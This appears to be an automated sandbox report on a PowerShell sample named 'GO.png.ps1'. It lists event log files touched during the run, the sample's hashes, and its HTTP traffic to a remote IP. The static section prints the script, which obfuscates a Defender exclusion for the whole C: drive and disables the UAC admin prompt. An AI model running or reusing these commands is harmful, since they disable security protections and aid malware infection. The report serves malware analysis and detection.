Preview:	ElfChnk.........@...............@...............`...............................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&...;...................................**..H...............f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3650161876414235
Encrypted:	false
SSDEEP:	384:2haXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJiXJtXJiXJWTXJpXJUXJ4XJ:2Q0yUkNYwD8imLEWTWW1fsg
MD5:	346E087AE87A771402B2E38619AB7B71
SHA1:	4B7EFEA99E401A5E6C0D115E2B27C48778704C13
SHA-256:	82B60B9565D3FDA733EF5B4A6996AD51C08BC604BE6DC184255A8928B1220EE5
SHA-512:	63C3EB568562AD3560924F7830F0ED120CC362A9FC24EA6CCE4B0EC5F90A0BBEF58539C26B5379A5E6D1939BED7D06A92B4A2521775AF2516793F42A289C0E4B
Malicious:	false
Preview:	ElfChnk......................................A...D.....<....................................................................7...................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&................................................6..........C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.335318634068108
Encrypted:	false
SSDEEP:	384:ehRmsmRm1m4mXm9mSmBmStmtmimMmAmAmRmcmxHmEmqmwmHmLmlm9mGmdmpm3mfr:euDcxMmo
MD5:	3B31610BEABB5895A19C346C64C234C6
SHA1:	84316C06991A51AD91C247130B615F0E56CD4D01
SHA-256:	EA4D4D4A4D56D42B0205793B2C9E45A732EA2F8909095BF924C2F4A138DE0404
SHA-512:	2B9784678702654E8FA65456A501F9F6B48ABD575EE58264709A97FFF9C38C26C7A6ED9057278E1A090BBB4BD2F88FBC95E636D9DEE509142B67B4D81FBAB5A1
Malicious:	false
Preview:	ElfChnk......................................'...(..'.D........................................................................R................L.......................t...=...........................................................................................................................f...............?...........................m...................M...F...............................................K...........................................%...............&.......................................**.................Hf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7112352075765392
Encrypted:	false
SSDEEP:	192:BV7VDiDL/bDiDwTDiDHDiDDDiDSDiD8DiDkDiD0DiDEDiDMDiDMDiDMDiD:BhV2nT2UT272/2+2w2g2w2I2o2A2I2
MD5:	5D63AFB3EA60A7655FF95B4DB1B451E0
SHA1:	B5D236316CC6617071D83D7E1B4367DDA1A889B1
SHA-256:	815D1AE9187ED88319DDCD4F95D544E3B4FC3D12E2BF9A0DFD30441819089010
SHA-512:	C00665A8527B92BB677696119894947DA47603CD1168B3536E7317E8D82C1A3563D50612C4AEF5BDEE75D491AEC97F8AB543F5FA1EB5E4080E7B1D8A55FE57E6
Malicious:	false
Preview:	ElfChnk.............................................u.=k....................................................................Z}#.................N.......................v...=...........................................................................................................................f...............?...........................m...................M...F...............................'...........................................................................&.......................................**.................sf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	78280
Entropy (8bit):	4.37274168715729
Encrypted:	false
SSDEEP:	384:Y2ZhlR0CsRNHKRwR0kRpnkRTHJRORjRAKhRemXR9XPRFrRXVRcrRb8RWRrR4QRSP:Y2ZiIpm3X3NI538LMu2ZiIg
MD5:	EC52547861907CD25BBDD96EE34BC426
SHA1:	3C3101BB2C3D052820B1D4E6567D5CD70A16BA1C
SHA-256:	4130D7FDA25EF432205A1A049968A3E3BE7E608077A0FC6531F5B37D829AE9F7
SHA-512:	92A13FD7680A9A0F18ED83FC020FCE42863EB43C5C38686F5CA79DC0304961A5584BDE7EE6551FC494E92F1BBC18B5FBB62BA9F834545642937E4645D89026FA
Malicious:	false
Preview:	ElfChnk.J.......S.......J.......S............,.../..$7.U....................................................................'t2(....................C.......Q............+..=.......................................0 ..d...................?..7!.................................................(...f...+...........?....................... .......................M...F.............................................&...........................................................a).....................................*......J.........l.f..........'.z&........'.z..^................A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.282820835556058
Encrypted:	false
SSDEEP:	384:chOhpuhdh+h9hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhr:cQsFpkBc1S
MD5:	7DB7567819F7CFC6955126B8306826E6
SHA1:	45CCB1C41CA1C6E1384207444A8B84437408DF1A
SHA-256:	0DDCE2B5ADFAAB4EF8A1686D0064B8CCFF43B1D3C93893A62EF07B7FB896E8E5
SHA-512:	FF5F662885580210B522215F56FD29417B6555F0878610D44D8F798E044876F99F86C5FF688BB77C92B894368E5DF32130B52BFE37401BACD3305B63463A2394
Malicious:	false
Preview:	ElfChnk.........................................P.....Q................................................................................................................:...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&...............!.......................**...............k..f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.232783163157918
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVMV3VJmVhpVEVA:Zyjbj
MD5:	71A005B17A2D32C10709277023D447E6
SHA1:	14754F04007D539159F75D62AACC6A282CAA8D54
SHA-256:	6E220C6CCBB76AEE639EDFCC6204C80EEC9FA1CCE0AC40EE4B821AF3AC27887B
SHA-512:	BC3533B3DEF1BC8B7D990700CA573EFF57D05C4E72DF2BB536247466D5FE9EB5DFE6F2EC18F02C808449F998AC00E26E920E3984B4E8367F8E9AF188BD1D9518
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...).....................................................................Ce.~................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v................................................+......................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.214068193893233
Encrypted:	false
SSDEEP:	384:fhZBwBjsrBwBhBwBj4BwB6p+/4WBwBQ/cBwBjQNqObx13ABwBqhdBwBQ/LQBwBQT:fOsc6QNqObxzyS3qes
MD5:	B2610EC866576D271A9522E657F39D4F
SHA1:	530940E1CB305D386909A1A9F8D23A9D44119A9A
SHA-256:	ACC8BF376283357D6564DBF76AAEAB7BA62A5E2F784685EC8927C28A9F3F30A8
SHA-512:	031C0A41753F8D69848BA78BA63D54430C5059F478B8B052516EB12390BBB1DB89F8B39BF78492A93E738985F23B55C2B5E26DBE80F4E97A028EED57E1ACF81A
Malicious:	false
Preview:	ElfChnk.^.......m.......^.......m...........@;..p>..y..H......................................................................[.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................g...............................................................................&.......................................**.. ...^...........f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.414298413407747
Encrypted:	false
SSDEEP:	384:3thQUE2UEFUE5UEKUEODUEzUEFUEsUE/UEGUE6UEWUE9UEtUEBUE8UEGUEuUE5UD:9w/RPoP6e
MD5:	77D9AFD001F6BBD592C19652D671FEA3
SHA1:	B87EA73299713B00D44A123C4B48636957EA90CE
SHA-256:	E25E174DE18D3B90B5EBC3C394A7C6BFC34F3E27FB260758BC8CB135E4D45770
SHA-512:	C81A545351015315060E812535A43C97A0FCBC2F49AA2034B50F963839F7F7DC1BC16EF070D5FF951E5FE82A9B315E8EFC20470707FD8C995A932E44369845E8
Malicious:	false
Preview:	ElfChnk.........................................8...,..t......................................................................>.......................................R...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................*..............._..f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.252693185152558
Encrypted:	false
SSDEEP:	384:dFRoTjoNSg0PtocChoLu60zCwySonMt0SoHMtoLoHMtaoDoH5OD0obO9ZoJfvoP9:/aFj0Dyid9sIryVpxy
MD5:	5C12993EF826BF67E7462D1134FF6999
SHA1:	07DEFCE37887AD084BBE1247F60EDD6D83024703
SHA-256:	B2BA7A31B552904FED5768F4B48EEA86E89585C4E121CB9D07124BAAACF83580
SHA-512:	8617229554B20900F60671D1E76EB94B20597C8B19B427E4DE54BD342F67FC8AF57E2C89265F755B4270F902EE38EA7BBC3D271FF30B7BD8ABA454FE26D55CA3
Malicious:	false
Preview:	ElfChnk......................................... ..........................................................................5......................s...h...............N...=...................................................N...............................................w.......6......................./...................................]...........).......M...T...:...............................................................................................................&...............................*.. .............).MQ...........&.........*.9.LS5..f....A.......A..5...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....^...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Setup.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67992
Entropy (8bit):	0.404065434054163
Encrypted:	false
SSDEEP:	48:MMWrrP+8QNRBEZWTENO4brBE3ogpNZ8Sm8VmTNNvAeWrrP+8QNRBEZWTENO4brBO:ZNVaO8ioyL8SRO2WNVaO8ioyL8SRO2
MD5:	CB1B5B0BFA36B789991B9CF986E25BA3
SHA1:	2CE0D02E2B8C1101904AE36E9F3BAF559D05EEC3
SHA-256:	4B8B5820CCFE501B16B54139D2DD604F7DCC6AB86AC469A66086CF581269182B
SHA-512:	8FF0554E8F04323E64D50BB659FE4BB1FFEE024F08753D06AB98C65DB1707588518C9642244F1D4881FEC23FF9B0314D61A4004263E4B0A963A3F48C4BA4E178
Malicious:	false
Preview:	ElfChnk.......................................................................................................................Q............................................=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..................MQ.........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	71376
Entropy (8bit):	4.441260721441028
Encrypted:	false
SSDEEP:	768:CZvHRUOnQ5xyZvHRUOnQQ46/iP6f/QRKe+PH+Yekm:QHRUzgHRUlfP6gMPZdm
MD5:	0CF0746653CD60928D1861168ACE8413
SHA1:	983B152D0FBE5D5BE46515E508CE16A5DADE1993
SHA-256:	E8F12B1AEBCE2E56DA10D5A1E8C83CC1AF1EF98BC2D0EF9A17D729B68B4B225B
SHA-512:	2FA9092A118003FB4CFA4A240AF9C54C14F8AE2A5FDEFDD7354FEF5E06DD58F0EC8B504240C1B52B52DB90301F2062CC38837B6BF6C499376F5E83A27CD8BF55
Malicious:	false
Preview:	ElfChnk......................................#...$..Hp.........................................................................................>...s...h...............f...=...................................................N...................................x#..........w.......2.......................G...................................Y...........).......M...5...:...................................................d ..................................................&... ...."......................&.......**..............\|.3.MQ.........Z..&........Z.. ..Z...`............A......M...s....j.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....V........A..............F=.................A....................................N................w............................................................A...............:...............h.........A..............F..................A......).......FN........s............................

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	75736
Entropy (8bit):	3.803797884933146
Encrypted:	false
SSDEEP:	1536:/xZeigBbXtM3nHNH4kZxZeigBbddhxJVf+9f9f+AHF5bx7CQR:YsEhxJVf
MD5:	32B94D29D0D9E7DA08CD72BCF8E37A7A
SHA1:	862B476D329CD667DB29BAEC29B8D4AE9FB883CB
SHA-256:	60859A51794E2F9956FBE27782C0B5488D717CA24943F784FB9FB9E2F235E1DF
SHA-512:	779C914FDA5F4097E5355D1C0D85710BD9D367A0815372925EAA8E0DB7920C61C5C3BDEEF69780479B5CEB235368CE2235C507C6D81CC3DD360B965BD14B5364
Malicious:	false
Preview:	ElfChnk.................i....................m...r..D.$H.......................................................................r............................................=..........................................................................................................................._...............8...........................f...................M...c...........................p...............&.......................................................................................................**......y...........MQ........!j..&.....................................................................................!.....X...............MQ..........y..............w.)Cp...................R.e.g.i.s.t.r.y...S.t.a.r.t.e.d.....P.r.o.v.i.d.e.r.N.a.m.e.=.R.e.g.i.s.t.r.y.......N.e.w.P.r.o.v.i.d.e.r.S.t.a.t.e.=.S.t.a.r.t.e.d...........S.e.q.u.e.n.c.e.N.u.m.b.e.r.=.1...........H.o.s.t.N.a.m.e.=.C.o.n.s.o.l.e.H.o.s.t.......H.o.s.t.V.e.r.s.i.o.n.=.5...1...1.9.0.4.1...1.6.8.2.......H.o.s.t

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.492286794735796
TrID:
File name:	GO.png.ps1
File size:	449 bytes
MD5:	8f5f07bdb2e91ee9c9bb9614592cf7fc
SHA1:	5545322f658c9cd1884b799244aef8eeac3c00c4
SHA256:	3c818d91af1ad7aaa0e599d76ff395e5b694bd2cf05d65d0b53d2036fea726c8
SHA512:	6b19b2da70f5de7daa4b81f8f8958c122e6a79c43016c5fa5462ae32e2255b5840088d3d883719bed2267d806d9946c9422f2809462e71cf9450669206a42b03
SSDEEP:	12:sQkuZM/GfMLsVjhRaEfZyjSHrZF81NFmMrE:JkuO/GkoV1VBy2HrZC74
TLSH:	ADF0A376C94842B7D9B37581D2555917F4A9401A10764C01557CC9216B1AA07E6FE1CF
File Content Preview:	powershell Add-MpPreference -ExclusionPath "GOOcGOO:\GOO".replace('GOO','')..Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Force..start-sleep -s 6..

File Icon


Icon Hash:	3270d6baae77db44

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:07:33.712060928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:33.834198952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:33.834290028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:33.835376978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:33.955034018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287214994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287328959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287414074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.287461996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287585974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287600994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287631989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.287801981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287815094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.287842989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.287992954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.288005114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.288017988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.288042068 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.288084030 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.407617092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.407691956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.407756090 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.411823034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.456437111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.496242046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.496260881 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.496378899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.500458002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.500727892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.500785112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.508908987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.509032965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.509097099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.517457962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.517591000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.517666101 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.525902033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.525964975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.526043892 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.534404993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.534539938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.534594059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.542926073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.543019056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.543071032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.551392078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.551497936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.551565886 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.559818983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.559880972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.559936047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.568211079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.568326950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.568377018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.577639103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.577661037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.577716112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.590034962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.615895033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.615981102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.746172905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.746300936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.746383905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.748092890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.748156071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.748209953 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.751872063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.751995087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.752054930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.755764961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.755876064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.755932093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.759543896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.759558916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.759633064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.763338089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.763446093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.763516903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.767117977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.767281055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.767354012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.770935059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.771045923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.771092892 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.774753094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.774888992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.774946928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.778526068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.778681040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.778733015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.782497883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.782516956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.782578945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.786159039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.786319017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.786375046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.790353060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.790477991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.790534019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.793998957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.794053078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.794111013 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:35.797694921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.797764063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:35.797808886 CET	49707	80	192.168.2.8	176.113.115.178
